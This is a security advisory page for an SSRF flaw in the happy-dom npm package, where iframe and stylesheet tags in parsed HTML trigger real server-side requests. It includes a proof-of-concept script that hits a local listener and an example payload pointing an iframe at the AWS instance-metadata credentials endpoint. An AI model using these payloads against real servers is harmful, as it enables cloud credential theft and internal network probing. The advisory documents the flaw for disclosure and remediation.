GHSA-C8P4-J97H-3VG8

Vulnerability from github – Published: 2026-10-28 21:06 – Updated: 2026-10-28 21:06
VLAI
Summary
Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML
Details

Summary

happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing <iframe> or <link rel="stylesheet"> elements. This behavior is enabled by default (disableIframePageLoading: false, disableCSSFileLoading: false). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.

Affected Versions

  • happy-dom <= 20.8.9 (latest)

Vulnerable Behavior

By default, happy-dom has: - disableIframePageLoading: false — iframes fetch their src URL via real HTTP requests - disableCSSFileLoading: false — <link> stylesheets fetch their href URL via real HTTP requests

When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.

Proof of Concept

Verified test (attacker server receives requests):

const http = require('http');
const { Window } = require('happy-dom');

// Start attacker server
const srv = http.createServer((req, res) => {
    console.log(`SSRF HIT: ${req.method} ${req.url}`);
    res.writeHead(200, {'Content-Type': 'text/html'});
    res.end('<html><body>stolen</body></html>');
});

srv.listen(9995, () => {
    // iframe SSRF — happy-dom makes a real GET request
    const win1 = new Window({ url: 'http://localhost' });
    win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>');

    // stylesheet SSRF — happy-dom makes a real GET request
    const win2 = new Window({ url: 'http://localhost' });
    win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>');
});

Test output:

SSRF HIT: GET /iframe-ssrf
SSRF HIT: GET /stylesheet-ssrf

Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.

Cloud metadata attack scenario:

const { Window } = require('happy-dom');
const win = new Window({ url: 'http://localhost' });

// Attacker-controlled HTML triggers fetch to AWS metadata endpoint
win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>');

Impact

  • Cloud credential theft — <iframe src="http://169.254.169.254/..."> fetches AWS/GCP/Azure metadata
  • Internal network scanning — probe internal services and ports
  • Data exfiltration — read responses from internal APIs
  • Affects any server-side use case — web scraping, email HTML rendering, SSR, testing with external HTML input

Suggested Fix

Change defaults to disable external resource loading:

disableIframePageLoading: true,  // change from false
disableCSSFileLoading: true,     // change from false

Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 20.14.6"
      },
      "package": {
        "ecosystem": "npm",
        "name": "happy-dom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "21.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-118660"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-28T21:06:42Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nhappy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing `\u003ciframe\u003e` or `\u003clink rel=\"stylesheet\"\u003e` elements. This behavior is enabled by default (`disableIframePageLoading: false`, `disableCSSFileLoading: false`). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.\n\n## Affected Versions\n- happy-dom \u003c= 20.8.9 (latest)\n\n## Vulnerable Behavior\n\nBy default, happy-dom has:\n- `disableIframePageLoading: false` \u2014 iframes fetch their `src` URL via real HTTP requests\n- `disableCSSFileLoading: false` \u2014 `\u003clink\u003e` stylesheets fetch their `href` URL via real HTTP requests\n\nWhen untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.\n\n## Proof of Concept\n\n### Verified test (attacker server receives requests):\n```javascript\nconst http = require(\u0027http\u0027);\nconst { Window } = require(\u0027happy-dom\u0027);\n\n// Start attacker server\nconst srv = http.createServer((req, res) =\u003e {\n    console.log(`SSRF HIT: ${req.method} ${req.url}`);\n    res.writeHead(200, {\u0027Content-Type\u0027: \u0027text/html\u0027});\n    res.end(\u0027\u003chtml\u003e\u003cbody\u003estolen\u003c/body\u003e\u003c/html\u003e\u0027);\n});\n\nsrv.listen(9995, () =\u003e {\n    // iframe SSRF \u2014 happy-dom makes a real GET request\n    const win1 = new Window({ url: \u0027http://localhost\u0027 });\n    win1.document.write(\u0027\u003chtml\u003e\u003cbody\u003e\u003ciframe src=\"http://127.0.0.1:9995/iframe-ssrf\"\u003e\u003c/iframe\u003e\u003c/body\u003e\u003c/html\u003e\u0027);\n\n    // stylesheet SSRF \u2014 happy-dom makes a real GET request\n    const win2 = new Window({ url: \u0027http://localhost\u0027 });\n    win2.document.write(\u0027\u003chtml\u003e\u003chead\u003e\u003clink rel=\"stylesheet\" href=\"http://127.0.0.1:9995/stylesheet-ssrf\"\u003e\u003c/head\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e\u0027);\n});\n```\n\n**Test output:**\n```\nSSRF HIT: GET /iframe-ssrf\nSSRF HIT: GET /stylesheet-ssrf\n```\n\nBoth requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.\n\n### Cloud metadata attack scenario:\n```javascript\nconst { Window } = require(\u0027happy-dom\u0027);\nconst win = new Window({ url: \u0027http://localhost\u0027 });\n\n// Attacker-controlled HTML triggers fetch to AWS metadata endpoint\nwin.document.write(\u0027\u003chtml\u003e\u003cbody\u003e\u003ciframe src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\u003e\u003c/iframe\u003e\u003c/body\u003e\u003c/html\u003e\u0027);\n```\n\n## Impact\n- **Cloud credential theft** \u2014 `\u003ciframe src=\"http://169.254.169.254/...\"\u003e` fetches AWS/GCP/Azure metadata\n- **Internal network scanning** \u2014 probe internal services and ports\n- **Data exfiltration** \u2014 read responses from internal APIs\n- **Affects any server-side use case** \u2014 web scraping, email HTML rendering, SSR, testing with external HTML input\n\n## Suggested Fix\nChange defaults to disable external resource loading:\n```javascript\ndisableIframePageLoading: true,  // change from false\ndisableCSSFileLoading: true,     // change from false\n```\n\nOr add URL validation to block private IP ranges and cloud metadata endpoints before fetching.",
  "id": "GHSA-c8p4-j97h-3vg8",
  "modified": "2026-10-28T21:06:42Z",
  "published": "2026-10-28T21:06:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-c8p4-j97h-3vg8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/pull/2502"
    },
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/commit/0a99c7525a1d0043e3182843ae33466ab7b19e74"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/capricorn86/happy-dom"
    },
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/releases/tag/v21.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.